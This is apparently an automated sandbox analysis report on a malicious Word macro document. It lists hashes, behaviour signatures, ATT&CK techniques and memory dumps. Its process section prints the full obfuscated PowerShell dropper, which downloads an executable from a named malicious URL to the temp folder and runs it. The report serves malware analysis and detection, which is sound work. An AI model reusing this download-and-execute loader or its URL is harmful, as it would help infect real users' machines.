ec35c865bf8800c7c181f7d32eaf0ac18c1722706483e99f43e33fe16ff3ff8a

General

Target

a788e80e8e6c307e23d52bfc0ee0773a_JaffaCakes118.doc
Size

157KB
MD5

a788e80e8e6c307e23d52bfc0ee0773a
SHA1

74ab701c25070285a0c90b802641585f3a87121e
SHA256

ec35c865bf8800c7c181f7d32eaf0ac18c1722706483e99f43e33fe16ff3ff8a
SHA512

97ae4d93b97e674258d3c9ec3e009b7fc4f5d595de02fa9c61ed96e48c47b68d49e8980443bebfb8c05a2514084e005b65e34dace165cd17b05cc495e1a21c0c
SSDEEP

3072:WFiV0zJjiN3ljS52R9yYZzSljw5KlAThn9t7Cry9ZwGylobUB5BEc:WW0zJ2N3RSLYZX5nnn+2U1

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://iselfcaremassager.com/tibudr/sotpie/xs/update.exe

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powerSHELL.exe

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	1304	2880	powerSHELL.exe	88

Blocklisted process makes network request 1 IoCs

Processes:

powerSHELL.exe

flow	pid	Process
13	1304	powerSHELL.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid	Process
2880	WINWORD.EXE
2880	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powerSHELL.exe

pid	Process
1304	powerSHELL.exe
1304	powerSHELL.exe
1304	powerSHELL.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powerSHELL.exe

description	pid	Process
Token: SeDebugPrivilege	1304	powerSHELL.exe

Suspicious use of SetWindowsHookEx 8 IoCs

Processes:

WINWORD.EXE

pid	Process
2880	WINWORD.EXE
2880	WINWORD.EXE
2880	WINWORD.EXE
2880	WINWORD.EXE
2880	WINWORD.EXE
2880	WINWORD.EXE
2880	WINWORD.EXE
2880	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

WINWORD.EXE

description	pid	Process	procid_target
PID 2880 wrote to memory of 1304	2880	WINWORD.EXE	94
PID 2880 wrote to memory of 1304	2880	WINWORD.EXE	94

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\a788e80e8e6c307e23d52bfc0ee0773a_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2880
- C:\Windows\System32\WindowsPowerShell\v1.0\powerSHELL.exe
  powerSHELL $QmDMa9 = '$a3U62fHL = new-obj0-14711507740ect -com0-14711507740obj0-14711507740ect wsc0-14711507740ript.she0-14711507740ll;$p6gx3Vy = new-object sys0-14711507740tem.net.web0-14711507740client;$spwNW4 = new-object random;$V6LJMj1sb = \"0-14711507740h0-14711507740t0-14711507740t0-14711507740p0-14711507740://iselfcaremassager.com/tibudr/sotpie/xs/update.exe\".spl0-14711507740it(\",\");$Dkr2jJWFx = $spwNW4.nex0-14711507740t(1, 65536);$lBlL1que = \"c:\win0-14711507740dows\tem0-14711507740p\123.ex0-14711507740e\";for0-14711507740each($nE6gZ in $V6LJMj1sb){try{$p6gx3Vy.dow0-14711507740nlo0-14711507740adf0-14711507740ile($nE6gZ.ToS0-14711507740tring(), $lBlL1que);sta0-14711507740rt-pro0-14711507740cess $lBlL1que;break;}catch{}}'.replace('0-14711507740', $at5Gom);$QE0Upj9 = '';iex($QmDMa9);
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1304

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=1324,i,6041070687820623968,3004230300437737550,262144 --variations-seed-version --mojo-platform-channel-handle=4304 /prefetch:8
1⤵
PID:3444

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\TCD2A71.tmp\iso690.xsl

Filesize
263KB

MD5
ff0e07eff1333cdf9fc2523d323dd654

SHA1
77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

SHA256
3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

SHA512
b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pumpf2cq.rsr.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1304-34-0x00007FFDB18D0000-0x00007FFDB1AC5000-memory.dmp

Filesize
2.0MB

Download
memory/1304-47-0x00007FFDB18D0000-0x00007FFDB1AC5000-memory.dmp

Filesize
2.0MB

Download
memory/1304-35-0x000001D50B780000-0x000001D50B7A2000-memory.dmp

Filesize
136KB

Download
memory/2880-16-0x00007FFD6F240000-0x00007FFD6F250000-memory.dmp

Filesize
64KB

Download
memory/2880-5-0x00007FFDB196D000-0x00007FFDB196E000-memory.dmp

Filesize
4KB

Download
memory/2880-8-0x00007FFDB18D0000-0x00007FFDB1AC5000-memory.dmp

Filesize
2.0MB

Download
memory/2880-11-0x00007FFDB18D0000-0x00007FFDB1AC5000-memory.dmp

Filesize
2.0MB

Download
memory/2880-10-0x00007FFDB18D0000-0x00007FFDB1AC5000-memory.dmp

Filesize
2.0MB

Download
memory/2880-9-0x00007FFDB18D0000-0x00007FFDB1AC5000-memory.dmp

Filesize
2.0MB

Download
memory/2880-7-0x00007FFDB18D0000-0x00007FFDB1AC5000-memory.dmp

Filesize
2.0MB

Download
memory/2880-12-0x00007FFDB18D0000-0x00007FFDB1AC5000-memory.dmp

Filesize
2.0MB

Download
memory/2880-14-0x00007FFDB18D0000-0x00007FFDB1AC5000-memory.dmp

Filesize
2.0MB

Download
memory/2880-15-0x00007FFD6F240000-0x00007FFD6F250000-memory.dmp

Filesize
64KB

Download
memory/2880-13-0x00007FFDB18D0000-0x00007FFDB1AC5000-memory.dmp

Filesize
2.0MB

Download
memory/2880-0-0x00007FFD71950000-0x00007FFD71960000-memory.dmp

Filesize
64KB

Download
memory/2880-25-0x00007FFDB18D0000-0x00007FFDB1AC5000-memory.dmp

Filesize
2.0MB

Download
memory/2880-26-0x00007FFDB18D0000-0x00007FFDB1AC5000-memory.dmp

Filesize
2.0MB

Download
memory/2880-33-0x00007FFDB18D0000-0x00007FFDB1AC5000-memory.dmp

Filesize
2.0MB

Download
memory/2880-6-0x00007FFDB18D0000-0x00007FFDB1AC5000-memory.dmp

Filesize
2.0MB

Download
memory/2880-1-0x00007FFD71950000-0x00007FFD71960000-memory.dmp

Filesize
64KB

Download
memory/2880-3-0x00007FFD71950000-0x00007FFD71960000-memory.dmp

Filesize
64KB

Download
memory/2880-4-0x00007FFD71950000-0x00007FFD71960000-memory.dmp

Filesize
64KB

Download
memory/2880-50-0x00007FFDB18D0000-0x00007FFDB1AC5000-memory.dmp

Filesize
2.0MB

Download
memory/2880-2-0x00007FFD71950000-0x00007FFD71960000-memory.dmp

Filesize
64KB

Download
memory/2880-474-0x00007FFDB18D0000-0x00007FFDB1AC5000-memory.dmp

Filesize
2.0MB

Download
memory/2880-520-0x00007FFDB18D0000-0x00007FFDB1AC5000-memory.dmp

Filesize
2.0MB

Download
memory/2880-530-0x00007FFDB18D0000-0x00007FFDB1AC5000-memory.dmp

Filesize
2.0MB

Download
memory/2880-550-0x00007FFD71950000-0x00007FFD71960000-memory.dmp

Filesize
64KB

Download
memory/2880-551-0x00007FFD71950000-0x00007FFD71960000-memory.dmp

Filesize
64KB

Download
memory/2880-549-0x00007FFD71950000-0x00007FFD71960000-memory.dmp

Filesize
64KB

Download
memory/2880-552-0x00007FFD71950000-0x00007FFD71960000-memory.dmp

Filesize
64KB

Download
memory/2880-553-0x00007FFDB18D0000-0x00007FFDB1AC5000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads